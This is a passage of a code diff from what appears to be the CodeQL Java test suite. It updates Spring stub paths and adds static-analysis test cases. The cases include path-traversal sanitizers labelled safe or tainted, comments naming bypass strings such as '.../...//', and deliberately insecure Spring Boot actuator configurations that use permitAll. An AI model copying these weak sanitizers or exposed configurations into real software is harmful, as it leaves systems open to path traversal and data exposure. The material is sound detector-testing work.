-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/servlet-api-2.4:${testdir}/../../../stubs/springframework-5.3.8:${testdir}/../../../stubs/google-android-9.0.0:${testdir}/../../../stubs/playframework-2.6.x:${testdir}/../../../stubs/jackson-databind-2.12:${testdir}/../../../stubs/jackson-core-2.12:${testdir}/../../../stubs/akka-2.6.x:${testdir}/../../../stubs/jwtk-jjwt-0.11.2:${testdir}/../../../stubs/jenkins:${testdir}/../../../stubs/stapler-1.263
\ No newline at end of file
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/servlet-api-2.4:${testdir}/../../../stubs/springframework-5.8.x:${testdir}/../../../stubs/google-android-9.0.0:${testdir}/../../../stubs/playframework-2.6.x:${testdir}/../../../stubs/jackson-databind-2.12:${testdir}/../../../stubs/jackson-core-2.12:${testdir}/../../../stubs/akka-2.6.x:${testdir}/../../../stubs/jwtk-jjwt-0.11.2:${testdir}/../../../stubs/jenkins:${testdir}/../../../stubs/stapler-1.263
diff --git a/java/ql/test/library-tests/dataflow/this-flow/this-flow.expected b/java/ql/test/library-tests/dataflow/this-flow/this-flow.expected
index 5b59c2167074..1f28514b664d 100644
--- a/java/ql/test/library-tests/dataflow/this-flow/this-flow.expected
+++ b/java/ql/test/library-tests/dataflow/this-flow/this-flow.expected
@@ -10,13 +10,11 @@
 | A.java:20:16:20:16 | this <.field> |
 | A.java:21:12:21:20 | getThis(...) |
 | A.java:21:12:21:20 | this <.method> |
-| A.java:25:7:25:17 | SSA def(a) |
 | A.java:25:11:25:17 | new A(...) |
 | A.java:25:11:25:17 | new A(...) [pre constructor] |
 | A.java:26:12:26:12 | a |
 | A.java:26:12:26:22 | getThis(...) |
 | A.java:26:12:26:36 | getThisWrap(...) |
-| A.java:27:7:27:17 | SSA def(c) |
 | A.java:27:11:27:17 | new C(...) |
 | A.java:27:11:27:17 | new C(...) [pre constructor] |
 | A.java:28:5:28:5 | c |
diff --git a/java/ql/test/library-tests/frameworks/spring/beans/options b/java/ql/test/library-tests/frameworks/spring/beans/options
index 0c6ef357b21a..2ce7a4743cd3 100644
--- a/java/ql/test/library-tests/frameworks/spring/beans/options
+++ b/java/ql/test/library-tests/frameworks/spring/beans/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8
\ No newline at end of file
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x
diff --git a/java/ql/test/library-tests/frameworks/spring/cache/options b/java/ql/test/library-tests/frameworks/spring/cache/options
index 06ec85dc706c..2ce7a4743cd3 100644
--- a/java/ql/test/library-tests/frameworks/spring/cache/options
+++ b/java/ql/test/library-tests/frameworks/spring/cache/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x
diff --git a/java/ql/test/library-tests/frameworks/spring/componentscan/options b/java/ql/test/library-tests/frameworks/spring/componentscan/options
index df84ab0bc1c5..bfb9659cc85f 100644
--- a/java/ql/test/library-tests/frameworks/spring/componentscan/options
+++ b/java/ql/test/library-tests/frameworks/spring/componentscan/options
@@ -1,2 +1,2 @@
 //semmle-extractor-options: --javac-args -cp
-//semmle-extractor-options: ${testdir}/../../../../stubs/springframework-5.3.8/
+//semmle-extractor-options: ${testdir}/../../../../stubs/springframework-5.8.x/
diff --git a/java/ql/test/library-tests/frameworks/spring/context/options b/java/ql/test/library-tests/frameworks/spring/context/options
index be838ec7faba..7f08d0e67454 100644
--- a/java/ql/test/library-tests/frameworks/spring/context/options
+++ b/java/ql/test/library-tests/frameworks/spring/context/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8:${testdir}/../../../../stubs/apache-commons-logging-1.2/
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x:${testdir}/../../../../stubs/apache-commons-logging-1.2/
diff --git a/java/ql/test/library-tests/frameworks/spring/controller/options b/java/ql/test/library-tests/frameworks/spring/controller/options
index 9f114a23c96b..d981a45f408c 100644
--- a/java/ql/test/library-tests/frameworks/spring/controller/options
+++ b/java/ql/test/library-tests/frameworks/spring/controller/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8:${testdir}/../../../../stubs/javax-servlet-2.5
\ No newline at end of file
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x:${testdir}/../../../../stubs/javax-servlet-2.5
diff --git a/java/ql/test/library-tests/frameworks/spring/http/options b/java/ql/test/library-tests/frameworks/spring/http/options
index 0c6ef357b21a..2ce7a4743cd3 100644
--- a/java/ql/test/library-tests/frameworks/spring/http/options
+++ b/java/ql/test/library-tests/frameworks/spring/http/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8
\ No newline at end of file
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x
diff --git a/java/ql/test/library-tests/frameworks/spring/ui/options b/java/ql/test/library-tests/frameworks/spring/ui/options
index 06ec85dc706c..2ce7a4743cd3 100644
--- a/java/ql/test/library-tests/frameworks/spring/ui/options
+++ b/java/ql/test/library-tests/frameworks/spring/ui/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x
diff --git a/java/ql/test/library-tests/frameworks/spring/util/options b/java/ql/test/library-tests/frameworks/spring/util/options
index 06ec85dc706c..2ce7a4743cd3 100644
--- a/java/ql/test/library-tests/frameworks/spring/util/options
+++ b/java/ql/test/library-tests/frameworks/spring/util/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x
diff --git a/java/ql/test/library-tests/frameworks/spring/validation/options b/java/ql/test/library-tests/frameworks/spring/validation/options
index 06ec85dc706c..2ce7a4743cd3 100644
--- a/java/ql/test/library-tests/frameworks/spring/validation/options
+++ b/java/ql/test/library-tests/frameworks/spring/validation/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x
diff --git a/java/ql/test/library-tests/frameworks/spring/webmultipart/options b/java/ql/test/library-tests/frameworks/spring/webmultipart/options
index ff7fd8624384..d981a45f408c 100644
--- a/java/ql/test/library-tests/frameworks/spring/webmultipart/options
+++ b/java/ql/test/library-tests/frameworks/spring/webmultipart/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8:${testdir}/../../../../stubs/javax-servlet-2.5
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x:${testdir}/../../../../stubs/javax-servlet-2.5
diff --git a/java/ql/test/library-tests/frameworks/spring/webutil/options b/java/ql/test/library-tests/frameworks/spring/webutil/options
index 6dc26155d1d9..f62bc5777840 100644
--- a/java/ql/test/library-tests/frameworks/spring/webutil/options
+++ b/java/ql/test/library-tests/frameworks/spring/webutil/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8:${testdir}/../../../../stubs/javax-servlet-2.5:${testdir}/../../../../stubs/apache-commons-logging-1.2
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x:${testdir}/../../../../stubs/javax-servlet-2.5:${testdir}/../../../../stubs/apache-commons-logging-1.2
diff --git a/java/ql/test/library-tests/pathsanitizer/Test.java b/java/ql/test/library-tests/pathsanitizer/Test.java
index d3285352fa38..5943d29c144b 100644
--- a/java/ql/test/library-tests/pathsanitizer/Test.java
+++ b/java/ql/test/library-tests/pathsanitizer/Test.java
@@ -604,4 +604,260 @@ public void fileConstructorSanitizer() throws Exception {
             sink(normalized); // $ hasTaintFlow
         }
     }
+
+    private void directoryCharsValidation(String path) throws Exception {
+        if (!path.matches("[0-9a-fA-F]{20,}")) {
+            throw new Exception();
+        }
+    }
+
+    public void directoryCharsSanitizer() throws Exception {
+        // DirectoryCharactersGuard
+        // Ensures that directory characters (/, \ and ..) cannot possibly be in the payload
+        // branch = true
+        {
+            String source = (String) source();
+            if (source.matches("[0-9a-fA-F]{20,}")) {
+                sink(source); // Safe
+            } else {
+                sink(source); // $ hasTaintFlow
+            }
+        }
+        {
+            String source = (String) source();
+            if (source.matches("[0-9a-fA-F]*")) {
+                sink(source); // Safe
+            } else {
+                sink(source); // $ hasTaintFlow
+            }
+        }
+        {
+            String source = (String) source();
+            if (source.matches("[0-9a-fA-F]+")) {
+                sink(source); // Safe
+            } else {
+                sink(source); // $ hasTaintFlow
+            }
+        }
+        {
+            String source = (String) source();
+            if (source.matches("[0-9a-fA-F\\.]+")) {
+                sink(source); // $ hasTaintFlow
+            } else {
+                sink(source); // $ hasTaintFlow
+            }
+        }
+        {
+            String source = (String) source();
+            if (source.matches("[0-9a-fA-F/]+")) {
+                sink(source); // $ hasTaintFlow
+            } else {
+                sink(source); // $ hasTaintFlow
+            }
+        }
+        {
+            String source = (String) source();
+            if (source.matches("[0-9a-fA-F\\\\]+")) {
+                sink(source); // $ hasTaintFlow
+            } else {
+                sink(source); // $ hasTaintFlow
+            }
+        }
+        {
+            String source = (String) source();
+            // exclude '.', '/', '\'
+            if (source.matches("[^0-9./\\\\a-f]+")) {
+                sink(source); // Safe
+            } else {
+                sink(source); // $ hasTaintFlow
+            }
+        }
+        {
+            String source = (String) source();
+            // '/' is not excluded
+            if (source.matches("[^0-9.\\\\a-f]+")) {
+                sink(source); // $ hasTaintFlow
+            } else {
+                sink(source); // $ hasTaintFlow
+            }
+        }
+        // branch = false
+        {
+            String source = (String) source();
+            if (source.matches(".*[\\./\\\\].*")) {
+                sink(source); // $ hasTaintFlow
+            } else {
+                sink(source); // Safe
+            }
+        }
+        {
+            String source = (String) source();
+            if (source.matches(".+[\\./\\\\].+")) {
+                sink(source); // $ hasTaintFlow
+            } else {
+                sink(source); // Safe
+            }
+        }
+        {
+            String source = (String) source();
+            // does not match whole string
+            if (source.matches("[\\./\\\\]+")) {
+                sink(source); // $ hasTaintFlow
+            } else {
+                sink(source); // $ hasTaintFlow
+            }
+        }
+        {
+            String source = (String) source();
+            // not a complete sanitizer since it doesn't protect against absolute path injection
+            if (source.matches(".+[\\.].+")) {
+                sink(source); // $ hasTaintFlow
+            } else {
+                sink(source); // $ hasTaintFlow
+            }
+        }
+        // validation method
+        {
+            String source = (String) source();
+            directoryCharsValidation(source);
+            sink(source); // Safe
+        }
+
+        // ReplaceDirectoryCharactersSanitizer
+        // Removes ".." sequences and path separators from the payload
+        // single `replaceAll` call
+        {
+            String source = (String) source();
+            source = source.replaceAll("\\.\\.|[/\\\\]", "");
+            sink(source); // Safe
+        }
+        {
+            String source = (String) source();
+            source = source.replaceAll("\\.|[/\\\\]", "-");
+            sink(source); // Safe
+        }
+        {
+            String source = (String) source();
+            source = source.replaceAll("[.][.]|[/\\\\]", "_");
+            sink(source); // Safe
+        }
+        {
+            String source = (String) source();
+            // test a not-accepted replacement character
+            source = source.replaceAll("[.][.]|[/\\\\]", "/");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            source = source.replaceAll(".|[/\\\\]", "");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            source = source.replaceAll("\\.|/|\\\\", "");
+            sink(source); // Safe
+        }
+        {
+            String source = (String) source();
+            source = source.replaceAll("[\\./\\\\]", "");
+            sink(source); // Safe
+        }
+        {
+            String source = (String) source();
+            source = source.replaceAll("[\\.\\\\]", "");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            source = source.replaceAll("[^\\.\\\\/]", "");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            // Bypassable with ".../...//"
+            source = source.replaceAll("\\.\\./", "");
+            sink(source); // $ hasTaintFlow
+        }
+        // multiple `replaceAll` or `replace` calls
+        {
+            String source = (String) source();
+            source = source.replaceAll("\\.", "").replaceAll("/", "");
+            sink(source); // Safe
+        }
+        {
+            String source = (String) source();
+            // test a not-accepted replacement character in each call
+            source = source.replaceAll("\\.", "/").replaceAll("/", ".");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            // test a not-accepted replacement character in first call
+            source = source.replaceAll("\\.", "/").replaceAll("/", "-");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            // test a not-accepted replacement character in second call
+            source = source.replaceAll("\\.", "_").replaceAll("/", ".");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            source = source.replaceAll("\\.", "").replaceAll("/", "").replaceAll("\\\\", "");
+            sink(source); // Safe
+        }
+        {
+            String source = (String) source();
+            // '/' or '\' are not replaced
+            source = source.replaceAll("\\.", "").replaceAll("\\.", "");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            // '.' is not replaced
+            source = source.replaceAll("/", "").replaceAll("\\\\", "");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            // Bypassable with ".....///"
+            source = source.replaceAll("\\.\\./", "").replaceAll("\\./", "");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            source = source.replace(".", "").replace("/", "");
+            sink(source); // Safe
+        }
+        {
+            String source = (String) source();
+            source = source.replace(".", "").replace("/", "").replace("\\", "");
+            sink(source); // Safe
+        }
+        {
+            String source = (String) source();
+            // '/' or '\' are not replaced
+            source = source.replace(".", "").replace(".", "");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            // '.' is not replaced
+            source = source.replace("/", "").replace("\\", "");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            // Bypassable with ".....///"
+            source = source.replace("../", "").replace("./", "");
+            sink(source); // $ hasTaintFlow
+        }
+        {
+            String source = (String) source();
+            // Bypassable with ".../...//"
+            source = source.replace("../", "");
+            sink(source); // $ hasTaintFlow
+        }
+    }
 }
diff --git a/java/ql/test/query-tests/EmptyMethod/Class1.java b/java/ql/test/query-tests/EmptyMethod/Class1.java
new file mode 100644
index 000000000000..b1d5ac1fbf8b
--- /dev/null
+++ b/java/ql/test/query-tests/EmptyMethod/Class1.java
@@ -0,0 +1,54 @@
+import org.aspectj.lang.annotation.Pointcut;
+
+public class Class1 {
+
+  // COMPLIANT
+  public void f() {
+    int i = 0;
+  }
+
+  // COMPLIANT
+  public void f1() {
+    // intentionally empty
+  }
+
+  // NON_COMPLIANT
+  public void f2() { } // $ Alert
+
+  // COMPLIANT - exception
+  @Pointcut()
+  public void f4() {
+  }
+
+  /**
+   * COMPLIANT - empty method with javadoc
+   */
+  public void f5() {
+  }
+
+  public abstract class TestInner {
+
+    public abstract void f(); // COMPLIANT - intentionally empty
+
+  }
+
+  public class Derived extends TestInner {
+
+    // COMPLIANT: with annotation
+    @Override
+    public void f() {
+    }
+
+    // COMPLIANT: native
+    public native int nativeMethod();
+  }
+
+  public interface TestInterface {
+
+    // NON_COMPLIANT
+    default void method() { } // $ Alert
+
+    void method2(); // COMPLIANT
+  }
+
+}
diff --git a/java/ql/test/query-tests/EmptyMethod/EmptyMethod.expected b/java/ql/test/query-tests/EmptyMethod/EmptyMethod.expected
new file mode 100644
index 000000000000..f8d854c84759
--- /dev/null
+++ b/java/ql/test/query-tests/EmptyMethod/EmptyMethod.expected
@@ -0,0 +1,2 @@
+| Class1.java:16:15:16:16 | f2 | Empty method found. |
+| Class1.java:49:18:49:23 | method | Empty method found. |
diff --git a/java/ql/test/query-tests/EmptyMethod/EmptyMethod.qlref b/java/ql/test/query-tests/EmptyMethod/EmptyMethod.qlref
new file mode 100644
index 000000000000..f99a8f2e7550
--- /dev/null
+++ b/java/ql/test/query-tests/EmptyMethod/EmptyMethod.qlref
@@ -0,0 +1,2 @@
+query: Language Abuse/EmptyMethod.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/java/ql/test/query-tests/EmptyMethod/Test.java b/java/ql/test/query-tests/EmptyMethod/Test.java
new file mode 100644
index 000000000000..e3cb48f5abcc
--- /dev/null
+++ b/java/ql/test/query-tests/EmptyMethod/Test.java
@@ -0,0 +1,5 @@
+public class Test {
+  // COMPLIANT: allow empty method in test class
+  public void f() {
+  }
+}
diff --git a/java/ql/test/query-tests/EmptyMethod/options b/java/ql/test/query-tests/EmptyMethod/options
new file mode 100644
index 000000000000..2103c1f2f26e
--- /dev/null
+++ b/java/ql/test/query-tests/EmptyMethod/options
@@ -0,0 +1 @@
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../stubs/aspectj
diff --git a/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.expected b/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.expected
index 653314ad19d6..bb03c14f1b7a 100644
--- a/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.expected
+++ b/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.expected
@@ -3,3 +3,4 @@
 | UnreleasedLock.java:40:3:40:15 | lock(...) | This lock might not be unlocked or might be locked more times than it is unlocked. |
 | UnreleasedLock.java:50:3:50:15 | lock(...) | This lock might not be unlocked or might be locked more times than it is unlocked. |
 | UnreleasedLock.java:72:8:72:23 | tryLock(...) | This lock might not be unlocked or might be locked more times than it is unlocked. |
+| UnreleasedLock.java:114:13:114:28 | tryLock(...) | This lock might not be unlocked or might be locked more times than it is unlocked. |
diff --git a/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.java b/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.java
index 732ba7cd325d..eb8de3c496d6 100644
--- a/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.java
+++ b/java/ql/test/query-tests/UnreleasedLock/UnreleasedLock.java
@@ -5,18 +5,18 @@ void lock() throws RuntimeException { }
 		void unlock() { }
 		boolean isHeldByCurrentThread() { return true; }
 	}
-	
+
 	void f() throws RuntimeException { }
 	void g() throws RuntimeException { }
-	
+
 	MyLock mylock = new MyLock();
-	
+
 	void bad1() {
 		mylock.lock();
 		f();
 		mylock.unlock();
 	}
-	
+
 	void good2() {
 		mylock.lock();
 		try {
@@ -25,7 +25,7 @@ void good2() {
 			mylock.unlock();
 		}
 	}
-	
+
 	void bad3() {
 		mylock.lock();
 		f();
@@ -35,7 +35,7 @@ void bad3() {
 			mylock.unlock();
 		}
 	}
-	
+
 	void bad4() {
 		mylock.lock();
 		try {
@@ -45,7 +45,7 @@ void bad4() {
 			mylock.unlock();
 		}
 	}
-	
+
 	void bad5(boolean lockmore) {
 		mylock.lock();
 		try {
@@ -58,7 +58,7 @@ void bad5(boolean lockmore) {
 			mylock.unlock();
 		}
 	}
-	
+
 	void good6() {
 		if (!mylock.tryLock()) { return; }
 		try {
@@ -67,7 +67,7 @@ void good6() {
 			mylock.unlock();
 		}
 	}
-	
+
 	void bad7() {
 		if (!mylock.tryLock()) { return; }
 		f();
@@ -95,4 +95,29 @@ void good8() {
 			mylock.unlock();
 		}
 	}
+
+	void good9() {
+		boolean locked = false;
+		try {
+			locked = mylock.tryLock();
+			if (!locked) { return; }
+		} finally {
+			if (locked) {
+				mylock.unlock();
+			}
+		}
+	}
+
+	void bad10() {
+		boolean locked = false;
+		try {
+			locked = mylock.tryLock();
+			if (!locked) { return; }
+		} finally {
+			if (locked) {
+				g();
+				mylock.unlock();
+			}
+		}
+	}
 }
diff --git a/java/ql/test/query-tests/security/CWE-022/semmle/tests/options b/java/ql/test/query-tests/security/CWE-022/semmle/tests/options
index 6f6c5a278883..547355c8e106 100644
--- a/java/ql/test/query-tests/security/CWE-022/semmle/tests/options
+++ b/java/ql/test/query-tests/security/CWE-022/semmle/tests/options
@@ -1 +1 @@
-// semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../stubs/servlet-api-2.4:${testdir}/../../../../../stubs/apache-commons-io-2.6:${testdir}/../../../../../stubs/cargo:${testdir}/../../../../../stubs/apache-ant-1.10.13:${testdir}/../../../../../stubs/stapler-1.263:${testdir}/../../../../../stubs/javax-servlet-2.5:${testdir}/../../../../../stubs/apache-commons-jelly-1.0.1:${testdir}/../../../../../stubs/apache-commons-fileupload-1.4:${testdir}/../../../../../stubs/saxon-xqj-9.x:${testdir}/../../../../../stubs/apache-commons-beanutils:${testdir}/../../../../../stubs/dom4j-2.1.1:${testdir}/../../../../../stubs/apache-commons-lang:${testdir}/../../../../../stubs/jaxen-1.2.0:${testdir}/../../../../../stubs/jmh-1.3.6:${testdir}/../../../../../stubs/springframework-5.3.8:${testdir}/../../../../../stubs/jaxws-api-2.0:${testdir}/../../../../../stubs/apache-cxf
+// semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../stubs/servlet-api-2.4:${testdir}/../../../../../stubs/apache-commons-io-2.6:${testdir}/../../../../../stubs/cargo:${testdir}/../../../../../stubs/apache-ant-1.10.13:${testdir}/../../../../../stubs/stapler-1.263:${testdir}/../../../../../stubs/javax-servlet-2.5:${testdir}/../../../../../stubs/apache-commons-jelly-1.0.1:${testdir}/../../../../../stubs/apache-commons-fileupload-1.4:${testdir}/../../../../../stubs/saxon-xqj-9.x:${testdir}/../../../../../stubs/apache-commons-beanutils:${testdir}/../../../../../stubs/dom4j-2.1.1:${testdir}/../../../../../stubs/apache-commons-lang:${testdir}/../../../../../stubs/jaxen-1.2.0:${testdir}/../../../../../stubs/jmh-1.3.6:${testdir}/../../../../../stubs/springframework-5.8.x:${testdir}/../../../../../stubs/jaxws-api-2.0:${testdir}/../../../../../stubs/apache-cxf
diff --git a/java/ql/test/query-tests/security/CWE-074/options b/java/ql/test/query-tests/security/CWE-074/options
index 058d3f3e803c..becd1ca3f587 100644
--- a/java/ql/test/query-tests/security/CWE-074/options
+++ b/java/ql/test/query-tests/security/CWE-074/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/springframework-5.3.8:${testdir}/../../../stubs/shiro-core-1.5.2:${testdir}/../../../stubs/spring-ldap-2.3.2:${testdir}/../../../stubs/Saxon-HE-9.9.1-7:${testdir}/../../../stubs/apache-commons-logging-1.2
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/springframework-5.8.x:${testdir}/../../../stubs/shiro-core-1.5.2:${testdir}/../../../stubs/spring-ldap-2.3.2:${testdir}/../../../stubs/Saxon-HE-9.9.1-7:${testdir}/../../../stubs/apache-commons-logging-1.2
diff --git a/java/ql/test/query-tests/security/CWE-079/semmle/tests/options b/java/ql/test/query-tests/security/CWE-079/semmle/tests/options
index 78c431eb6834..399dceb33a69 100644
--- a/java/ql/test/query-tests/security/CWE-079/semmle/tests/options
+++ b/java/ql/test/query-tests/security/CWE-079/semmle/tests/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../stubs/servlet-api-2.4:${testdir}/../../../../../stubs/javax-ws-rs-api-2.1.1/:${testdir}/../../../../../stubs/springframework-5.3.8:${testdir}/../../../../../stubs/javax-faces-2.3/:${testdir}/../../../../../stubs/google-android-9.0.0:${testdir}/../../../../../stubs/jenkins
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../stubs/servlet-api-2.4:${testdir}/../../../../../stubs/javax-ws-rs-api-2.1.1/:${testdir}/../../../../../stubs/springframework-5.8.x:${testdir}/../../../../../stubs/javax-faces-2.3/:${testdir}/../../../../../stubs/google-android-9.0.0:${testdir}/../../../../../stubs/jenkins
diff --git a/java/ql/test/query-tests/security/CWE-089/semmle/examples/options b/java/ql/test/query-tests/security/CWE-089/semmle/examples/options
index 8c08f8334017..832af0f3423c 100644
--- a/java/ql/test/query-tests/security/CWE-089/semmle/examples/options
+++ b/java/ql/test/query-tests/security/CWE-089/semmle/examples/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../stubs/mongodbClient:${testdir}/../../../../../stubs/springframework-5.3.8:${testdir}/../../../../../stubs/apache-hive --release 21
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../stubs/mongodbClient:${testdir}/../../../../../stubs/springframework-5.8.x:${testdir}/../../../../../stubs/apache-hive --release 21
diff --git a/java/ql/test/query-tests/security/CWE-090/options b/java/ql/test/query-tests/security/CWE-090/options
index 20bcd741bf6f..285b19e2b42a 100644
--- a/java/ql/test/query-tests/security/CWE-090/options
+++ b/java/ql/test/query-tests/security/CWE-090/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/springframework-5.3.8:${testdir}/../../../stubs/spring-ldap-2.3.2:${testdir}/../../../stubs/unboundid-ldap-4.0.14:${testdir}/../../../stubs/esapi-2.0.1:${testdir}/../../../stubs/apache-ldap-1.0.2
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/springframework-5.8.x:${testdir}/../../../stubs/spring-ldap-2.3.2:${testdir}/../../../stubs/unboundid-ldap-4.0.14:${testdir}/../../../stubs/esapi-2.0.1:${testdir}/../../../stubs/apache-ldap-1.0.2
diff --git a/java/ql/test/query-tests/security/CWE-094/options b/java/ql/test/query-tests/security/CWE-094/options
index 469e3df8ac09..94c205e754b2 100644
--- a/java/ql/test/query-tests/security/CWE-094/options
+++ b/java/ql/test/query-tests/security/CWE-094/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/validation-api-2.0.1.Final:${testdir}/../../../stubs/springframework-5.3.8:${testdir}/../../../stubs/apache-commons-jexl-2.1.1:${testdir}/../../../stubs/apache-commons-jexl-3.1:${testdir}/../../../stubs/apache-commons-logging-1.2:${testdir}/../../../stubs/mvel2-2.4.7:${testdir}/../../../stubs/groovy-all-3.0.7:${testdir}/../../../stubs/servlet-api-2.4:${testdir}/../../../stubs/scriptengine:${testdir}/../../../stubs/jsr223-api:${testdir}/../../../stubs/apache-freemarker-2.3.31:${testdir}/../../../stubs/jinjava-2.6.0:${testdir}/../../../stubs/pebble-3.1.5:${testdir}/../../../stubs/thymeleaf-3.0.14:${testdir}/../../../stubs/apache-velocity-2.3:${testdir}/../../..//stubs/google-android-9.0.0
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/validation-api-2.0.1.Final:${testdir}/../../../stubs/springframework-5.8.x:${testdir}/../../../stubs/apache-commons-jexl-2.1.1:${testdir}/../../../stubs/apache-commons-jexl-3.1:${testdir}/../../../stubs/apache-commons-logging-1.2:${testdir}/../../../stubs/mvel2-2.4.7:${testdir}/../../../stubs/groovy-all-3.0.7:${testdir}/../../../stubs/servlet-api-2.4:${testdir}/../../../stubs/scriptengine:${testdir}/../../../stubs/jsr223-api:${testdir}/../../../stubs/apache-freemarker-2.3.31:${testdir}/../../../stubs/jinjava-2.6.0:${testdir}/../../../stubs/pebble-3.1.5:${testdir}/../../../stubs/thymeleaf-3.0.14:${testdir}/../../../stubs/apache-velocity-2.3:${testdir}/../../..//stubs/google-android-9.0.0
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/title_slide.html b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuators/SpringBootActuatorsTest.expected
similarity index 100%
rename from docs/codeql/ql-training/_static-training/slides-semmle-2/title_slide.html
rename to java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuators/SpringBootActuatorsTest.expected
diff --git a/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuators/SpringBootActuatorsTest.java b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuators/SpringBootActuatorsTest.java
new file mode 100644
index 000000000000..4b5d7614eef6
--- /dev/null
+++ b/java/ql/test/query-tests/security/CWE-200/semmle/tests/SpringBootActuators/SpringBootActuatorsTest.java
@@ -0,0 +1,281 @@
+import org.springframework.boot.actuate.autoconfigure.security.servlet.EndpointRequest;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity;
+
+public class SpringBootActuatorsTest {
+  // Spring security version 5.2.3 used `authorizeRequests` and `requestMatcher(s)`
+  protected void configure(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests(requests -> requests.anyRequest().permitAll()); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure2(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests().requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure3(HttpSecurity http) throws Exception {
+    http.requestMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeRequests().requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure4(HttpSecurity http) throws Exception {
+    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests().anyRequest().permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure5(HttpSecurity http) throws Exception {
+    http.authorizeRequests().requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll(); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure6(HttpSecurity http) throws Exception {
+    http.authorizeRequests(requests -> requests.requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll()); // $ hasExposedSpringBootActuator
+  }
+
+  protected void configure7(HttpSecurity http) throws Exception {
